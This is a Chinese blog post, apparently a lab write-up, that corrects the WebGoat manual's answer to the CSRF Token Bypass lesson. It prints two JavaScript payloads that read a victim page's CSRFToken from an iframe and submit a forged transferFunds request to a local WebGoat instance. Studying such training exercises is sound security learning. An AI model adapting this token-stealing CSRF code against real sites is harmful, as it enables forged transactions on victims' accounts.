CSRF Token Bypass再来过

最近使用WebGoat学习Java源码审计,顺便将WebGoat再过一遍,使用WebGoat中文手册作为参考,测试到CSRF Token绕过这个地方时,发现参考答案始终无法通过,仔细研究了下,发现原来是中文手册答案有误,因为耽误了些时间,所以就打算把它记录下来,避免后来人再踩坑。

1、问题分析

WebGoat中文参考手册给出的整理如下:

var tokenvalue;

function readFrame1() {

var frameDoc = document.getElementById("frame1").contentDocument;

var form = frameDoc.getElementsByTagName("form")[1];

var token = form.CSRFToken.value;

tokenvalue = '&CSRFToken='+token;

loadFrame2();

}

function loadFrame2() {

var testFrame = document.getElementById("frame2");

testFrame.src="http://127.0.0.1:8080/WebGoat/attack?Screen=274&menu=900&transferFunds=4000"+tokenvalue;

}

提交答案点击后将得到如下答案:


由上图可知第一个iframe被正常加载,但是第二个iframe中的内容却没有被正常加载,使用burp截获交互数据,发现(http://127.0.0.1:8080/WebGoat/attack?Screen=274&menu=900&transferFunds=4000"+tokenvalue)这个请求并没有被发送出去,猜想JS readFrame1方法并没有执行到最后的loadFrame2()这个语句,执行的过程中出现了差错。使用chrome对readFrame1中的代码进行动态调试,调试结果如下图所示:


在获取CSRFToken参数值的时候出现了错误,因此基本可以确定答案的错误主要来自于JS获取参数的方法出现了错误。

2、纠正验证

确定了答案的错误,那么就要寻找正确获取CSRFToken参数的方法,下面直接贴出完整的答案代码:

var tokenvalue;

function readFrame1() {

var frameDoc = document.getElementById("frame1").contentDocument;

var form = frameDoc.forms["form"];

var token = form.getElementsByTagName("input").CSRFToken["value"];

tokenvalue = '&CSRFToken='+token;

loadFrame2();

}

function loadFrame2() {

var testFrame = document.getElementById("frame2");

testFrame.src="http://127.0.0.1:8080/WebGoat/attack?Screen=274&menu=900&transferFunds=4000"+tokenvalue;

}

输入参数并提交,这时候看到了让我们兴奋的结果,如下图:


刷新下页面,此时页面左边出现了帅气的绿色对勾。此外需要注意的是在进行测试时一定要保证Screen、menu两个参数与页面右边的Parameters参数(如下图)保持一致,否则测试无法通过。


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 工厂模式类似于现实生活中的工厂可以产生大量相似的商品,去做同样的事情,实现同样的效果;这时候需要使用工厂模式。简单...
    舟渔行舟阅读 7,964评论 2 17
  • **1.document.write(""); 输出语句 ****2.JS中的注释为// ****3.传统的HTM...
    reallychao阅读 1,739评论 1 40
  • 单例模式 适用场景:可能会在场景中使用到对象,但只有一个实例,加载时并不主动创建,需要时才创建 最常见的单例模式,...
    Obeing阅读 2,151评论 1 10
  • 一、JS前言 (1)认识JS 也许你已经了解HTML标记(也称为结构),知道了CSS样式(也称为表示),会使用HT...
    凛0_0阅读 2,829评论 0 8
  • 文/婉兮 1 这场车祸是自找的。 撞上护栏的前几秒钟,车里的两个人还在剧烈争吵,声音很大,情绪也很激动,摄像头抓拍...
    婉xi阅读 993评论 6 27